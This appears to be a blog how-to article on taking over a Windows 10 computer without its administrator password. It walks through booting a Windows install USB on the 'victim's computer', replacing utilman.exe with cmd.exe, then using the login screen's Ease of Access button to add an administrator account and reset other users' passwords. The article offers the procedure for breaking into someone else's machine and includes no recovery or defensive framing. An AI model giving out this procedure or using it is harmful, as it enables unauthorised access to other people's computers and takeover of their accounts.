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How to Create an Admin Account on Windows 10 Without an Administrator Password

Share this articleWith these simple steps, a computer can be hacked in less than 30 minutes without an administrator password. How to do it To do this trick, you must have: A USB stick with over 16GB of storage A Windows computer An available computer to flash an ISO file on To start, grab your […]

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With these simple steps, a computer can be hacked in less than 30 minutes without an administrator password.

How to do it

To do this trick, you must have:

  1. A USB stick with over 16GB of storage
  2. A Windows computer
  3. An available computer to flash an ISO file on
  1. To start, grab your USB stick and plug it into a computer
  2. Install either BalenaEtcher or Rufus depending on your operating system.
  3. Download the Windows 10 ISO file from here. To do this, right-click on the page and click inspect. In the top left-hand side corner of the inspect window, there will be a mobile phone and tablet. Change the dimensions to iPhone SE. Refresh the page and download the ISO.
  4. For Rufus:
    Open Rufus and click on Select. Choose the ISO and click Start
    For Etcher: Click on Flash from the file and choose the ISO file.
    Click on Select target and choose the USB stick
    Click on Flash!
  5. After your USB stick has been flashed, you can now eject it from your computer.
  6. Plug the USB stick into the victim’s computer.
  7. Restart the computer and keep rapidly pressing F12
  8. You can choose your USB stick or CD/DVD-ROM
  9. When the installation menu appears, click next
  10. At the bottom of the screen, choose to repair your computer
  11. Click on troubleshoot
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  1. Click command prompt
  2. When the window appears, type in move c:\windows\system32\utilman.exe c:\ 
  3. Next type in copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe
  4. Now remove your USB, and type in wpeutil reboot to reboot your victim’s computer
  5. On the login screen, choose Ease of Access
  6. A command prompt will appear. Type in net user /add Account Password
    This command will create a new account with an account called Account with a password that would be Password. Remember, capitals do matter. You can replace the details.
  7. Next, type in net localgroup administrators Account /add
    Be sure that you replace Account with the name of your account. If you do not remember it, do the command net user to list all accounts.

You can also change the passwords of people’s account with net user Account 123456
Say if our account had a password of “Password”, this command would change the password of the account from “Password” to “123456”.

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